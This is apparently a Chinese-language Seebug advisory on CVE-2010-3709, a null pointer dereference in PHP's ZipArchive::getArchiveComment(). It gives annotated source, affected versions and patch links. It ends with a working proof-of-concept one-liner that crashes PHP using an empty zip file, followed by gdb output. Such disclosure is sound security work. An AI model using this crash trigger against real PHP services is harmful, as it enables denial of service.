Lucene search

K
seebugRootSSV:20240
HistoryNov 10, 2010 - 12:00 a.m.

PHP ZipArchive::getArchiveComment()函数空指针引用拒绝服务漏洞

2010-11-1000:00:00
Root
www.seebug.org
45

0.002 Low

EPSS

Percentile

61.8%

BUGTRAQ ID: 44718
CVE ID: CVE-2010-3709

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

ZipArchive库允许透明的读写ZIP压缩档案及其之中的文件。对于PHP中所使用的ZipArchive::getArchiveComment函数:


1945 static ZIPARCHIVE_METHOD(getArchiveComment)
1946 {
1947 struct zip *intern;
1948 zval *this = getThis();
1949 long flags = 0;
1950 const char * comment;
1951 int comment_len = 0;
1952
1953 if (!this) {
1954 RETURN_FALSE;
1955 }
1956
1957 ZIP_FROM_OBJECT(intern, this);
1958
1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags)
== FAILURE) {
1960 return;
1961 }
1962
1963 comment = zip_get_archive_comment(intern, &comment_len,
(int)flags); <==== RETURN NULL AND -1
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL
POINTER DEFERENCE HERE
1965 }


这种方式从zip_get_archive_comment()函数返回字符串。而在这个函数中:


40 ZIP_EXTERN(const char *)
41 zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42 {
43 if ((flags & ZIP_FL_UNCHANGED)
44 || (za->ch_comment_len == -1)) {
45 if (za->cdir) {
46 if (lenp != NULL)
47 *lenp = za->cdir->comment_len;
48 return za->cdir->comment;
49 }
50 else {
51 if (lenp != NULL)
52 *lenp = -1; <===================== -1
53 return NULL; <==================== NULL
54 }
55 }
56
57 if (lenp != NULL)
58 *lenp = za->ch_comment_len;
59 return za->ch_comment;
60 }


52和53行应返回空指针和(int)-1。在结果中会以以下方式执行RETURN_STRINGL():

RETURN_STRINGL(NULL, -1, 1);

memcpy(3)中会出现崩溃。

PHP PHP 5.3.3
PHP PHP 5.2.14
厂商补丁:

PHP

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?view=log


                                                cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new
ZipArchive;$zip-&gt;open(&quot;./empty.zip&quot;);$zip-&gt;getArchiveComment();'
Segmentation fault

Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new
ZipArchive;$zip-&gt;open(&quot;./empty.zip&quot;);$zip-&gt;getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new
ZipArchive;$zip-&gt;open(&quot;./empty.zip&quot;);$zip-&gt;getArchiveComment();'
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0  0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1  0x0000000000679fa8 in _estrndup ()
#2  0x00000000006371e5 in ?? ()
#3  0x00000000006e793a in ?? ()
#4  0x00000000006bec20 in execute ()
#5  0x000000000068b44a in zend_eval_stringl ()
#6  0x000000000068b5c9 in zend_eval_stringl_ex ()
#7  0x000000000072743e in ?? ()
#8  0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9  0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=&gt; 0x7ffff530edbb &lt;memcpy+347&gt;: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0:    Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff:     Cannot access memory at address 0xffffffff